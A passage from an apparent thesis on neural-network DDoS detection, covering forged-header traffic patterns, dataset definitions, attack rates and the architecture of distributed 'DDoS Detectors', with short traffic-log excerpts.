one source to one destination.  
2. All packets used one flag (e.g. SYN) and no other TCP flags are used. In this 
scenario, the flag happened to be a SYN flag, but it can be a different flag (e.g. PUSH 
flag).  
3. Randomised source and destination port numbers are noted. Some attacks can make 
such behaviour appear more genuine by introducing multiple or one source port 
number to one destination port number. 
4. TCP sequence numbers are randomised within the traffic. In genuine traffic TCP 
sequencing is sent by the client and acknowledged back by the receiving application.  
 
Then we analysed and cross-matched the abnormal behaviours (points 1 to 4) with other 




TCP-SYN TCP-Land Sockstress 
1 Yes Yes Yes 
2 Yes Yes Yes 
3 Yes No Yes 
4 Yes Yes Yes 
 
Table  4-4: Methodologies and abnormal TCP patterns.   
 
In Table 4-5 we tabulated and cross-matched TCP, UDP and ICMP DDoS attack behaviours 
with the normal traffic behaviours and learned more about them.  
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Protocols Forged patterns from 
DDoS methodologies 
Patterns from the actual 
operating 
system/application 
Reason for choosing the patterns 
UDP Traffic is from many or 
one source addresses 
to one destination.  
Traffic is from one source 
to one destination or 
many sources to one 
destination. 
One of the common features of DDoS 
attacks is that the attack is generated 
from different spoofed source 
addresses to one destination. 
 Length of the packets 
can be zero, vary or 
randomised up to 
1000 bytes.  
Length can vary, but from 
one source to one 
destination.  
Attackers use large length values from 





Each connection uses 
one source port number 
to one destination port 
number.  
UDP attack change source and 
destination port numbers randomly for 
every attack to confuse the target.  
ICMP Traffic is from many 
source addresses to 
one destination or 
some DDoS 
approaches use one 
source to one 
destination. 
Traffic is from one source 
to one destination or one 
source to many 
destinations.  
It is rather rare to have continuous 
ICMP packets from different sources 
to one destination unless the traffic 
indicates an attack.  
 ICMP packets 
generated from attack 
methodologies lacks 
in sequence ordering.  
A normal ICMP packet 
uses ICMP sequence 
numbers to identify  
related packets. 
Attackers do not consider sequencing. 
Instead sequencing numbers are 
randomised. This is because the 
packets are manipulated and randomly 
generated by the attack tools.  
 Random ICMP-ID 
number is used for all 
the packets. 
ICMP-ID number is used 
for different packets. 
From all the attacking methodologies 
and tools, we identified that DDoS 
tools use random ICMP-ID in their 
packets, while genuine packets use 
the same ID number to identify the 
packets on the destination side. 
TCP Traffic is from many 
source addresses to 
one destination. Some 
attack tools can 
provide one to one. 
Traffic is from one source 
to one destination or 
many sources to one 
destination. 
One of the common features of DDoS 
attacks is that the attack is generated 
from different spoofed source 
addresses to one destination. 
 Proper TCP flags are 
not used. One flag is 
used for all the 
connections. 
Proper TCP three-way 
handshake is used and 
data transmission flags 




 Randomised source 
and destination port 
numbers are used.  
Many source ports to one 
destination port or one 
source port to one 




 TCP sequence is 
randomised for every 
packet.  








Table  4-5: Cross- match between genuine and abnormal traffic. 
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During the log analysis of the DDoS attacks, we have observed that the attackers combine all 
abnormal behaviours described in Table 4-5 as part of their DDoS attacks. For example when 
a TCP DDoS attack is launched, the attacker forges the source IP, TCP sequence, flags, TCP 
source and destination port numbers. We also experienced DDoS attacks where the attacker 
only forged the source IP addresses and kept the rest of the header entities look like genuine. 
This is to confuse and possibly bypass the detection system. Regardless of what method 
attackers use, we launched various different DDoS attacks in our test environments and filed 
the outcome in datasets, from where we used them to train the ANN algorithm. Then the ANN 
algorithm used this fed information to identify known and unknown DDoS that is similar to the 
DDoS attacks that we launched in our test environment. Refer to the CD provided for different 
DDoS attack examples. 
4.8 Pattern Selection  
In the context of this work, we call the characteristic features used to identify DDoS attacks 
patterns. We have selected the following patterns per ICMP, UDP and TCP protocols because 
of the following points. 
 Based on our different DDoS attack experiments and their code analysis, we learned 
that most DDoS attackers repeat and reuse the patterns that we identified (discussed 
later on in the section) in their attacks. Therefore, from test results, DDoS attackers, 
o Forge a minimum of one pattern to a maximum of five patterns to launch a 
successful TCP DDoS attack.  
o Forge a minimum of one pattern to a maximum of four patterns to launch a 
successful UDP DDoS attack.  
o Forge a minimum of one pattern to a maximum of 3 patterns to launch a 
successful ICMP DDoS attack.  
 As shown in Table 4-5, we cross-matched the selected patterns (shown below) with 
genuine traffic and justified our reasoning for selecting each pattern.  
 
The following are chosen as the DDoS attack patterns for the purpose of training ANN and 
DDoS attack detection.  
ICMP Protocol: From ICMP header, the following patterns are selected to train the Artificial 
Neural Network and to detect ICMP DDoS attack.  
 ICMP-ID: In genuine ICMP traffic, ICMP-ID bit value does not change. This is to 
identify all the possible packets related to ICMP. However, DDoS attack tools forge 
this value on each individual ICMP packet.  
 ICMP-SEQ: In a flow of genuine traffic, sequencing is used to orderly identify the next 
packet. However, ICMP packets generated from attack tools do not have any 
sequencing in place (random values instead).    
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 Source IP addresses: This is a typical DDoS attack feature (from multiple locations). 
Hardly any normal ICMP traffic is generated from different geographical locations to 
one destination, unless the traffic is a DDoS attack.  
 
UDP Protocol: From UDP header, the following patterns are selected to train the Artificial 
Neural Network and to detect UDP DDoS attacks.  
 UDP source /destination ports: UDP DDoS attacks use random source port to random 
destination port numbers. This causes confusion for the destination machine when 
random source and destination port numbers are used.  
 Packet length: The attackers increase the packet lengths up to 1000 bytes to 
introduce an effective attack. 
 Source IP addresses: Spoofed source addresses to one destination are used.  
 
TCP Protocol: From TCP header, The following TCP patterns are selected to train the Artificial 
Neural Network and to detect TCP DDoS attacks. 
 TCP Flags: Different TCP packets from different locations and all at the same time 
using the same flag, which is rather abnormal for TCP traffic.  
 TCP Sequence: Sequence number is used and acknowledged between client and 
server. However, the DDoS attackers use random sequencing to confuse the victim 
machine.  
 TCP source /destination ports: Randomised and typically used by attackers to confuse 
the destination machine with random values. 
 Source IP addresses: Spoofed source IP addresses to one destination.  
 
Once again, selecting ICMP, UDP and TCP packet headers and in particular the above 
entities to be our patterns to separate genuine traffic form DDoS traffic was based on 
experiments and code analysis of the existing DDoS attacks. Forging the above header 
entities’‎ values‎ is‎ the‎ minimum‎ requirement‎ to‎ introduce‎ a‎ successful‎ and‎ effective‎ DDoS‎
attack. Nevertheless, we have experienced other DDoS attacks that use other patterns (e.g. 
forging all the IP header fields), but such approaches are no longer effective as they are 
identified by the signature detection systems. Therefore we intended to focus on the patterns 
that are more reusable by the DDoS attackers as identified in our experiments. If an attacker 
forges other TCP, ICMP and UDP header entities than specified above, then our solution uses 
the above patterns to make its judgment in detecting the attack, as the above patterns are the 
foundation of many DDoS attacks we have experimented. However, if the attacker selects 
completely different patterns than those mentioned above, the solution then does not detect 
the attack. Therefore, our solution as tested and explained in Chapters 6 and 7 is capable of 
detecting DDoS attacks if one or all of the above selected patterns are used as part of the 
attack. 
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Still, our experiments have always shown repetitive use of the above patterns in their attacks. 
So, based on our experiments a minimum of one of the selected patterns is always part of the 
attack; and this is good enough for the attack to be detected. 
4.9 Dataset Definition  
Now that we have identified the patterns (Section 4.8) that can be used as input variables to 
train the ANN algorithm and detect TCP, UDP and ICMP DDoS attacks, the patterns need to 
be prepared as datasets. However, the datasets are required to be structured in a format for 
the training application to accept. This process is further explained in Chapter 5, Section 5.5.1. 
In this section we define and classify our datasets into old and up-to-date datasets. Both types 
of datasets contain the patterns described in Section 4.8. However, old datasets are datasets 
that contain old known DDoS patterns (most attacks that go back to years 2000-2003) while 
up-to-date datasets contain old and new known DDoS patterns (most attacks between years 
2000 and 2012). We learned from our experiments that old DDoS attacks (most attacks 
between 2000 and 2003) share the characteristics of being statistic. In other words, the forged 
header protocol fields are the same in values as shown in the following example.  
19:22:52.298182 IP 122.184.106.125 > 10.0.2.15: ICMP echo request, id 89, seq 187, length 8 
19:22:52.298293 IP 130.128.135.104 > 10.0.2.15: ICMP echo request, id 89, seq 187, length 8 
19:22:52.298401 IP 106.111.173.148 > 10.0.2.15: ICMP echo request, id 89, seq 187, length 8 
19:22:52.298501 IP 180.186.127.110 > 10.0.2.15: ICMP echo request, id 89, seq 187, length 8 
19:22:52.298602 IP 106.118.105.172 > 10.0.2.15: ICMP echo request, id 89, seq 187, length 8 
 
In this example, the attacker used the same value for the entire traffic (e.g. id 89, seq 187, 
length 8). Such characteristic features are used to define our dataset as an old dataset. The 
attackers then further improved such attacks by randomising protocol header fields in 
combination with rate of the attack (high and low rates).  
 
19:09:20.677333 IP 162.128.183.157.72 > 10.0.2.15.22: Flags [S], seq 574597233, win 0, length 0 
19:09:21.254871 IP 124.177.186.138.53 > 10.0.2.15.11: Flags [S], seq 3851229986, win 0, length 0 
19:09:21.817304 IP 117.178.157.188.2 > 10.0.2.15.232: Flags [S], seq 4118928413, win 0, length 0 
19:09:21.905642 IP 156.187.167.165.44 > 10.0.2.15.44: Flags [S], seq 897087165, win 0, length 0 
19:09:22.505052 IP 133.117.161.101.60 > 10.0.2.15.233: Flags [S], seq 2454681226, win 0, length 0 
 
In the above TCP attack, the attacker randomised the header fields such as TCP sequence 
number, TCP source and destination port numbers. This approach is even further enhanced to 
introduce an attack that looks like genuine traffic. We have experienced such behaviours in 
newer DDoS attack tools, and based on this  we introduced a dataset (defined as up-to-date) 
that contains patterns that are old (static protocol header fields) and new (randomised protocol 
header fields and header fields that look  like genuine traffic). As explained and shown in 
Chapter 7, the purpose of training ANN with two different types of datasets (old and up-to-
date) is to test ANN´s response in detecting unknown DDoS attacks.  
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4.10 DDoS Attack Rates 
During the experiments, we deployed different attacks in the virtual networks and measured 
the number of packets arriving per second. Table 4-6 provides an overview of TCP, UDP and 







3‎Zombies‎ 4892 38413 36751 
4‎Zombies 98258 87734 86441 
5‎Zombies 149932 137344 138111 
6‎Zombies 201612 187824 189936 
7‎Zombies 266448 251141 254866 
8‎Zombies 614419 594627 598668 
9‎Zombies 994311 724633 618310 
10‎Zombies 1283291 1044711 1162231 
11‎Zombies 1872319 1518822 1419832 
12‎Zombies 2436581 2593230 2623421 
13‎Zombies 4436420 4593274 36271221 
14‎Zombies 8439981 9593511 93271733 
15‎Zombies 134302477 12592773 123273600 
16‎Zombies 154399411 14591131 153253811 
17‎Zombies 194392278 16759421 183252189 
 
Table  4-6: Number of ICMP, UDP and TCP packets/sec. 
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4.11 Summary  
Accuracy of our detection process is vitally important and deserves serious consideration. 
Inaccurate detection can block genuine traffic from reaching its destination. In this chapter, we 
have explained the topological structure of our environments where we retrieved genuine 
traffic and launched different DDoS attacks for the purpose of learning and analysing the 
behaviour of DDoS attacks. During the data extraction and code analysis of many DDoS 
attack tools and data logs, we identified that attackers use their own built-in libraries to 
manipulate/forge‎packet‎header‎information,‎while‎the‎operating‎system’s‎resources‎normal ly 
performs this operation with genuine traffic. Such analysis assisted us to identify the 
characteristic features that separate genuine traffic from attack traffic. In the context of this 
work we called such characteristic features as patterns. Furthermore, in this chapter we 
introduced the steps of identifying the patterns that can be used to train the ANN algorithm. 
We then defined datasets in the form of old and up-to-date datasets. The process of preparing 
datasets to be used by the training application is explained in Chapters 5 and 6.  
 
 
- 121 - 
 
Chapter 5 – Design Structure 
5.1 Introduction  
The aims and objectives of our work, as outlined in Chapter 3, are to detect and mitigate 
known and unknown DDoS attacks before they reach their destinations. Furthermore, the 
accuracy of our detection mechanism assists the separation of genuine traffic from DDoS 
attacks. To demonstrate this, we executed different technical experiments, as described in 
Chapter 4, to learn, understand and identify the characteristic patterns. Such patterns are the 
baseline for distinguishing between packets produced by attacking applications and ones 
generated from an operating system or a genuine Internet application. This chapter presents 
our architectural design by reviewing the requirements described in Chapter 3 and further 
decomposing them into smaller pieces (modules), then determining the expected or 
unexpected challenges, technical requirements and technologies required for implementing 
the end solution. Our proposed design consists of three main components, each with different 
functional elements that assist the DDoS detection and mitigation process. Each component is 
modularly designed, making it separately functional, yet connected with other components. 
Such an approach makes the system functional when one component, such as defence, is 
unplugged, deleted or modified (see Sections 5.2 and 5.3). More specifically, our design 
approach provides flexibility, scalability and integrates easily.  
To build a modular base design, we transformed the requirements into use-cases and further 
learned about the scenarios to simplify our architectural design. We then took each 
component separately and introduced elements that facilitate the detection and mitigation 
mechanisms. We built our design based on different experiments and the papers reviewed in 
Chapter 2. The objective of the experiments was to identify the applicable learning algorithm 
that produces the highest accuracy rates. In conclusion, following the literature review and the 
results of the experiments through Back-Propagation, we opted for an ANN topological 
structure coupled with a Sigmoid function to be our choice of detection component design. The 
datasets also needed to be structured and organised to meet the training application 
acceptance format that trains the ANN algorithm.  The output of the detection process is used 
to mitigate the attack and share the information with other DDoS Detectors. In this chapter, we 
first review the conceptual framework of the design and take the scenarios and use-cases that 
outline the design solution. Then we cover the non-functional requirements that facilitate the 
detection and mitigation process.  
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5.2 Conceptual Framework   
To begin the design, one needs to review and divide the general requirements into smaller 
use-cases where each use-case is analysed and used to assist the architectural design. Such 
an approach divides what we want to achieve into smaller sections where each section is 
addressed individually with extra attention to detail. Once again, the objectives of this work are 
to detect and mitigate known and unknown DDoS attacks and share the knowledge to assist 
the detection and mitigation process if needed. This can be briefly summarised as follows: 
Detection Mechanism: Our solution must detect known and unknown DDoS attacks and 
identify genuine traffic with high traffic volume using an ANN algorithm. The detection process 
should cover high and low rate attacks with minimal false alarms. Therefore, the detection 
engine should be fully tested for accuracy in a real environment using known and unknown 
DDoS approaches. It must also cope with high traffic load when the solution itself is under 
DDoS attack. 
Defence System: As soon as an attack is detected, the defence system should be activated 
to defend the target victim from the attack, but should allow genuine traffic to pass through 
untouched and unhindered. Therefore, the mitigation process should be designed in a modular 
form to be attached/detached whenever required.  
Information and Knowledge Sharing: As soon as an attack is mitigated, the solution must 
inform other DDoS Detectors about the attack. However, for the purpose of awareness, 
information about identified genuine traffic with high traffic volume should also be exchanged 
among the DDoS Detectors. The Security Officer is notified to take extra countermeasures if 
required (see Section 5.6). 
As mentioned in Chapter 3, we call our proposed solution DDoS Detectors with built-in 
detection, defence and sharing mechanisms. A DDoS Detector must be deployed on one or 
more networks to check for abnormal traffic
1
 passing through. Any abnormalities with respect 
to ICMP, UDP and TCP traffic are subject to investigation by the DDoS Detectors. Then the 
detection component makes algorithmic (ANN) decisions to identify the legitimacy of the traffic 
and‎verifies‎ the‎victim’s‎ IP‎address.‎The output of this process is in the form of numbers; 1 
(attack), zero (genuine) or 2 (unidentified traffic). If the output of the detection process is 1, 
then the defence component drops all the forged packets allowing genuine packets to pass 
through the DDoS Detector.  
                                                     
1
 In our context, if the number of packets is greater than specified thresholds, then the traffic is considered to be 
abnormal traffic and subject to investigation. See Section 5.5, for details on thresholds.  
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If the output is zero, no action is required since the traffic is deemed to be a high volume of 
genuine traffic to a popular destination. If the output is 2, the DDoS Detector cannot determine 
the nature of the traffic (see Section 5.6). When an attack is detected, the defence component 
blocks the attack based on the given information provided by the detection component. 
Moreover, the defence component removes the restriction when instructed by the detection 
component. Then the DDoS Detectors share the information (DDoS attack or high volume of 
genuine traffic) with other DDoS Detectors to collect and provide logistical information about 
the traffic and to use such information in assisting DDoS attack mitigation if required (see use-
cases 5 and 6). When the output of one of the DDoS Detectors is 2 (unidentified traffic), then 
sharing such information with other detectors helps to make more accurate decisions whether 
to block the traffic. Any detectors should be able to detect low and high rate DDoS attacks. 
The above explanation of DDoS Detectors is very general and it can be focussed into the use-
cases using Figure 5-1. Each use-case describes a typical scenario of how our solution should 
react when a DDoS Detector is exposed to a situation. Such an approach helped us to learn 
and identify unexpected challenges by taking each use-case and assigning it to the right 
component of the design. 
 
Figure  5-1: Basic representation of DDoS attack, networks and DDoS Detectors. 
 
In Figure 5-1, the DDoS Detectors are represented by D1, D2 and D3 where each is deployed 
on a separate network. Information between the detectors is exchanged via encrypted 
messages (dotted lines). This means each DDoS Detector registers IP addresses of other 
DDoS Detectors that are located in different networks. In Figure 5-1, no connection between 
D1 and D3 is introduced. However, our DDoS Detectors are designed to accept many 
connections from other DDoS Detectors regardless of their locations. This also includes 
communications between D1 and D3 detectors. Each DDoS Detector can function as a 
standalone component or distributed detector that sends and receives encrypted messages 
(RSA encryption, see Chapter 6) to many other detectors. The solution is not restricted to the 
number of detectors or their locations. Therefore, if one DDoS Detector is not functional or 
down, other detectors still receive and send messages making the overall solution resilient 
and immune to individual DDoS Detector failure. One can simplify the detection, defence and 
knowledge sharing mechanisms in the following use-cases. The details are explained in 
Sections 5.5 and 5.6. 
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Use-Case 1 
On each network in Figure 5-1, genuine traffic and mixed ICMP, UDP and TCP DDoS attacks 
are flowing towards the victim via networks 1, 2 and 3. Depending on how fast the flow of 
traffic on each network, the DDoS Detectors flag the traffic to be abnormal if the number of 
packets is greater than the predefined threshold (see Section 5.5 for thresholds).  At this point, 
the detection engine on each DDoS Detector analyses the traffic and verifies the attack with 
the‎victim’s‎ IP‎address
2
. Then defence system on each DDoS Detector activates and blocks 
all detected forged packets. The information about the detected and mitigated DDoS attack is 
sent to other DDoS Detectors as encrypted messages for reasons explained in use-case 5.  
Later, an email is sent to the Security Officer with the type of attack, victim´s IP address and 
mitigation information. This is to help the Security Officer to take extra countermeasures if 
required or use the information for logistic and forensic purposes (use-case 6).  
Use-Case 2 
Suppose the attack is only passing through network 1 towards the victim machine, DDoS 
Detector (D1) verifies the attack, mitigates it and an encrypted message is sent to all the other 
DDoS Detectors (D2 and D3). The purpose of sending such information to other DDoS 
Detectors is explained in use-case 5. Then an email with the relevant information is sent to the 
Security Officer detailing the attack.  
Use-Case 3 
The DDoS Detectors should be in a position to handle DDoS attacks if the DDoS Detectors 
themselves are the target victims. In this case, the detectors should immediately detect the 
attack, mitigate it and inform all the other DDoS Detectors and email the Security Officer. 
Use-Case 4 
Suppose a football match between two known football clubs is broadcast via HTTP/TCP/IP 
protocols [213]. This results in a high number of viewers requesting the service with genuine 
HTTP/TCP/IP requests from different locations that look like a DDoS attack. At this point each 
DDoS Detector verifies the legitimacy of the traffic (genuine) and no defence action is taken. 
However, encrypted messages are exchanged between the DDoS Detectors about the 
genuine high traffic volume and an email is also sent to the Security Officer. The purpose of 
sending such information to other DDoS Detectors is explained in use-case 5. The DDoS 
Detectors continue monitoring the traffic to detect and block DDoS attacks where applicable.  
                                                     
2
 If the number of packets is greater than specified thresholds in networks 1 and 2, but below threshold in network 3, 
then the DDoS Detectors in networks 1 and 2 only analyse the traffic for DDoS attacks.  
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Use-Case 5 
Assume that DDoS Detector 3 (D3) detects unidentified traffic (represented as 2, where 0 is 
genuine traffic and 1 is DDoS attack). At this point, D3 checks its local record and: 
1. If the information that D3 received from either D1 or D2 is unidentified traffic for the 
same destination, then D3 takes no action, but continues to monitor the traffic for 
DDoS attack.  
2. If the information that D3 received from either D1 or D2 is a DDoS attack towards the 
same destination, then D3 activates the defence system. At this point D3 relied on 
other‎detectors’‎decisions‎and‎continues‎to‎monitor‎the‎traffic for DDoS attack. 
3. If the information that D3 received from either D1 or D2 is normal traffic towards the 
same destination, then D3 takes no action as this is considered to be normal traffic, 
but continues to monitor the traffic for DDoS attack.  
4. If D3 did not receive any information from other DDoS Detectors towards the same 
destination, then D3 takes no action and continues to monitor the networks for DDoS 
attack. 
 
Regardless of what information D3 receives from other DDoS Detectors (above points), an 
awareness email is sent to the Security Officer and D3 informs all other DDoS Detectors about 
its unidentified traffic. When an output of an attack is 2, then our ANN has failed to classify the 
traffic and further action is required. This is further explained in Section 5.6. A DDoS Detector 
requires a minimum of one valid message of information from other DDoS Detectors to learn 
about unidentified traffic and to take action. 
Use-Case 6 
DDoS detection and mitigation are the key objectives of our work. However, reporting the 
events (high volume of genuine traffic or DDoS attacks) to a Security Officer can introduce 
awareness or increase security hardening by deploying extra countermeasures if required. 
Further, when an email is sent to the Security Officer with the type of attack, destination, traffic 
information, network, time, and date, the officer can use this information for the purposes of 
logistics or forensics. 
Use-Case 7 
The DDoS Detector is in continuous network monitoring mode. If a DDoS Detector verifies 
traffic towards a destination as genuine that was previously blocked due to DDoS attack, then 
the DDoS Detector´s defence system unblocks the traffic towards that destination. 
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The purpose of exchanging information about high volume of genuine traffic or DDoS attack 
information between the DDoS Detectors is to use such information when a DDoS Detector 
fails to identify the nature of an abnormal traffic (use-case 5). Furthermore, each DDoS 
Detector acts as a standalone or distributed detector. The use-cases 1 to 7 apply to any 
number of DDoS Detectors deployed across the networks. The above use-cases are 
applicable based on our environments, datasets used for training the ANN algorithm, as well 
as tested in the environments, shown in Chapter 6, using high and low rate DDoS attacks. 
Refer to Chapter 7, Section 7.5 to learn about the comparison between our approach and 
others.  
5.3 Non-Functional Requirements  
In Section 5.2, we briefly revised the requirements and defined different use-cases that 
facilitate the architecture design. However, the DDoS Detectors have to correctly respond to 
external factors that characterise the quality of the solution. DDoS detection and mitigation 
cannot introduce a good quality system alone, if scalability or performance is not included. 
Therefore, our design must acknowledge:  
 Scalability: The system accepts new features or functions without many changes in 
the code. In addition, any new changes should increase performance and reliability 
without introducing bottlenecks.  
 Performance: The design must cope with large data and avoid deadlocks or system 
crash when a high volume of traffic is experienced.  
 Reliability: The design must be reliable to detect accurately under extreme pressure. 
 Single point of failure: The design must avoid a single point of failure. For example, if 
the code for detecting TCP DDoS attack crashes due to any technical reasons, the 
code for ICMP and UDP DDoS attack detection must still be available and functional.  
 Availability: The solution must always be available and prepared to monitor the 
network for abnormalities. 
 Resilience: The end product must be tested against high load DDoS attacks.  
 
The above non-functional points ensure a good quality system (See Chapters 6 and 7).  
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5.4 Architectural Overview 
In this section, we give an architectural overview of a DDoS Detector that satisfies the 
requirements explained in Chapter 3 and the earlier explanation of the use-cases. A good 
architecture design must identify the common quality attributes such as performance, 
scalability, security and manageability. Microsoft, as one of the leading software company, has 
introduced four basic principles for a successful design [123].  
1. Build to change instead of last. 
2. Model to analyse and reduce risk. 
3. Use models, communication and collaboration tools. 
4. Identify the engineering decisions. 
 
The above principles can assist a software architect to analyse the requirements and 
introduce a design that is flexible, simple, adaptable, and user friendly. Before designing the 
architectural‎overview,‎one‎needs‎ to‎ learn‎about‎each‎detector’s‎primary‎ functions‎ to‎detect‎
DDoS attacks. Therefore the proposed design should contain the following functions. 
 Continuously monitor the network for abnormalities using a detection engine. 
 As soon as abnormalities are determined, a piece of code (part of the detection 
component) takes a considerable number of packets (batch of data) from the network 
for investigation.  
 Another part of the detection component organises the packets according to the 
packets’‎header‎information‎(e.g.‎source‎IP,‎TCP‎flag,‎ICMP-ID etc.). 
 Meanwhile the destination IP address of the victim is identified from the retrieved and 
organised packets. 
 A calculation is performed to prepare the retrieved packet headers as input variables 
(e.g. ICMP-ID, ICMP-SEQ and Source IP address). These variables are the selected 
patterns explained in Chapter 4. 
 The‎input‎variables‎are‎used‎by‎ the‎ANN‎code‎to‎decide‎ the‎ traffic’s‎ legitimacy.‎The‎
output must be in human readable format (1-attack, 0-genuine, 2-unidentified). 
 If the output is 1 (attack), then defence is activated (separate module) to block the 
forged DDoS packets. If the output is zero (genuine traffic), no action is taken. If the 
output is 2 (unidentified traffic), the DDoS Detector checks its local record for the 
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 Messages are encrypted and sent to all the other DDoS Detectors to inform them 
about the traffic (genuine, attack or unidentified). The message contains the type of 
attack or traffic and target IP address. In addition, an email using the mail code from 
each DDoS Detector is sent to a Security Officer to provide information for the 
purpose of logistics or forensics. This is done via a separate module. 
 The defence module unblocks restricted traffic when ANN verifies its legitimacy. 
Meanwhile, genuine packets keep passing through towards their destinations 
unaffected.   
 
Our design is modular based architecture where components are added or removed without 
impacting on the overall system. Each component must be designed to easily integrate with 
other modules. The modules must contain all the necessary attributes and methods (functions) 
to facilitate the integration process. On some occasions, reusing freely licensed available 
modules to avoid unnecessary workload can make the design process faster. Such an 
approach provides the software architect with the opportunity to design modules that are not 
available, yet reuse with modification any third party modules. For example, one can reuse 
and modify the existing detection engine without rewriting the module from scratch. However, 
any reusable components must be modified to fulfil the requirements and avoid technical 
issues such as application deadlock, lack of performance, system crash or security 
vulnerabilities. This is further explained in Chapter 6, Section 6.2. Figure 5-2 provides an 
overview of DDoS Detectors one and two, located on two different networks.  
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                                          Figure  5-2: DDoS Detectors one and two. 
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Figure 5-2 illustrates a preliminary representation of two DDoS Detectors (one and two) on 
different networks, yet identical in terms of components. Each detector consists of three main 
components (detection, defence and knowledge sharing) and each component consists of 
different elements. The elements are Organiser, Victim IP Identifier, Calculator; ANN 
engines, deploy defence, secure connection, email sent, etc. Each component is functionally 
independent from other components, but technically dependent. This means one can remove 
the defence and share components or only remove the defence component from the DDoS 
Detector without affecting the functionality of the detection component. However, an 
individual component (such as detection or defence) does not function without its elements. 
These elements must be designed in such a way as to avoid major programming workload if 
modified, removed or refactored. Figure 5-2 provides an overview of the components/ 
elements and their connections – for a detailed explanation of each component, see Sections 
5.5 and 5.6.  
For the purpose of understanding the diagram represented in Figure 5-2, we assume that an 
ICMP attack is launched while DDoS Detector one is monitoring a network. As shown in the 
diagram, the detection component performs the following actions. 
A. Retrieves packets form the network for investigation. 
B. Then its first module (Organiser) activates to organise the packets according to their 
packet header information (in this case ICMP-ID, ICMP-SEQ and Source IP 
address). 
C. The Victim IP Identifier module activates to identify the destination (victim) that is 
under ICMP DDoS attack from among the organised retrieved packets.  
D. Next, another element called Calculator is called to perform basic calculations and 
prepare the packet headers for the ANN engine. 
E. The ANN engine element receives the calculated packet header information as input 
variables and decides the legitimacy of the retrieved ICMP traffic. If the output is 
zero, no action is required and the traffic is deemed to be genuine. If the output is 
one, then the defence component activates and blocks the attack.  
  
At this point, the defence component´s decision to block the forged packets was purely based 
on‎the‎detection‎component’s‎output.‎The‎defence‎component‎drops‎all‎ the‎ forged‎packets‎
that are identified by the detection component, but allows other genuine packets to pass 
through the DDoS Detector. The defence component also has another element called 
release restriction, which is used to release traffic restrictions based on the detection 
component´s output (a set of traffic is verified to be genuine and no longer a DDoS threat). 
Furthermore, the defence system uses received records from other DDoS Detectors when 
required.  
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Knowledge sharing is the third component of our DDoS Detector, which is used to exchange 
DDoS attack knowledge with other DDoS Detectors and to inform the Security Officer when 
attacks are detected. More specifically, when an attack is detected and mitigated, the secure 
connection module (element) sends an encrypted message to all other DDoS Detectors 
where the message is automatically placed in their local records. The message contains 
information about the attack and the victim´s IP address. Then each detector uses such 
received information and its own detection information to compile an awareness report. The 
report is automatically attached in PDF file format and emailed to the Security Officer. The 
intention here is to inform the officer when an attack is detected to take extra 
countermeasures if required or to be used for forensic purposes [212]. Moreover, such 
information received from any DDoS Detectors assists the detectors to make accurate 
decisions when their output detection is 2 (unidentified traffic). For the purpose of our design 
solution and simplicity we discuss and analyse each component separately in Sections 5.5 
and 5.6. This includes functionalities, environments, data representation, experiments and 
the chosen algorithm.  
 
5.5 Detection Component  
In this section, we focus on the detection component and all its elements (sub-components) 
that define the detection mechanism. Later we explain the dataset representation and format 
used in training the ANN algorithm. Then we design our ANN structure where a number of 
hidden layers and hidden nodes are identified based on experiments. The detection system 
of our solution, as diagrammatically shown in Figure 5-3, consists of several elements that 
together assist in detecting known and unknown DDoS attacks (high and low rate). The 
elements are programs written to perform detection tasks, such as retrieving packets from 
the network and pre-processing them as input variables for the ANN engine. The design of 
our detection system must cover the requirements described in Chapter 3 Section 3.3 and 
the non-functional features described in Section 5.3. Furthermore, the design should not 
introduce technical issues such as logical and security faults.  
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Figure  5-3: Detection component and its elements. 
 
The detection component consists of four main elements that assist DDoS detection. These 
elements are connected together, which makes the detection system modular based. Our 
DDoS Detector retrieves packets from the network based on the maximum/minimum number 
of packets and the thresholds (see Section 5.5.1). This process is done by a third party 
module known as Snort–AI described in Chapter 6. The packets are then temporarily filed on 
the DDoS Detector´s disk to be picked by the Organiser module (element). Each element of 
the detection component is analysed below.  
Organiser: After retrieving packets from the network by the DDoS Detector, the Organiser 
organises them according to their packet headers. The header information of each packet 
(ICMP, UDP and ICMP) is decoded and organised accordingly. This includes source IP, 
destination IP, ICMP-ID, packet length, TCP and UDP ports, etc. Such information is 
temporarily kept in separate data files and called by the Victim IP Identifier.  
Victim IP Identifier: This element is used to identify the potential destination IP address 
known as the victim. The Victim IP Identifier combines the temporarily files produced by the 
Organiser and scans through to identify the highest number of repetitive destination IP 
addresses. This means a destination among all the other destinations has been requested by 
many source addresses. Requesting such a destination from different sources can either 
indicate genuine traffic or a DDoS attack. This decision is verified by the ANN engine (see 
Artificial Neural Network engine) after being prepared by the Calculator (see later).  
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Then‎ the‎ popular‎ destination’s‎ IP‎ address‎ coupled‎with‎ its‎ source‎ IP‎ addresses and their 
relevant header information are filed into another temporary file, which is then fetched by the 
Calculator element. The following is an example of the file that is produced by the Victim IP 
Identifier. Refer to Appendix 5-1 for more data. 
12.0.0.2        123.37.61.15:S:1009916232:26:22 
12.0.0.2        123.15.85.10:S:221044366:23:22 
12.0.0.2        123.37.34.83:S:2359848989:27:22 
12.0.0.2        123.23.21.76:S:1339596154:22:22 
12.0.0.2        123.63.14.81:S:376389801:24:22 
12.0.0.2        123.57.75.32:S:2857017401:22:22 
 
In the above example, the destination IP address (12.0.0.2) is requested by different source 
IP addresses (represented in bold) each with SYN flags, source and destination port 
numbers. If more than one destination IP address is identified to be a popular destination, the 
Victim IP Identifier sequentially takes the first destination with the highest number of source 
requests and then the second destination with the second highest number of source requests 
and the third. Further, the Victim IP Identifier also takes a destination that is repeatedly 
requested by only one source (one to one request only). This means, any destination with 
repetitive requests from one or more different sources is flagged and its traffic is subjected to 
investigation.  
Calculator: The purpose of this element is to prepare and count the patterns from the above 
format (Victim IP Identifier format) to the following format in Table 5-1 to assist the 
normalisation process for the ANN algorithm.  













1 6889 6829 6808 6889 6889 
2 5443 5143 5443 5443 5223 
3 4443 4143 4343 4423 4443 
4 2194 2194 2194 2194 2194 
5 2230 2330 2330 2130 2030 
(n +1) 2143 2143 2143 2143 2143 
 
Table  5-1: Patterns for ANN. 
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The above values represent a TCP DDoS attack where each column is the total number 
(batch) of TCP headers (patterns) towards an identified destination. In other words, in each 
round:  
 The DDoS Detector retrieves a handful of packets.  
 Then the Organiser decodes and prepares them for the Victim IP Identifier. 
 The Victim IP Identifier extracts all packets that are destined for the popular 
destination. 
 After that, the Calculator adds and counts all the header information of the source 
packets that are prepared by the Victim IP Identifier and arranges them in the above 
format (Table 5-1). The destination IP address is not counted, as it is not used as a 
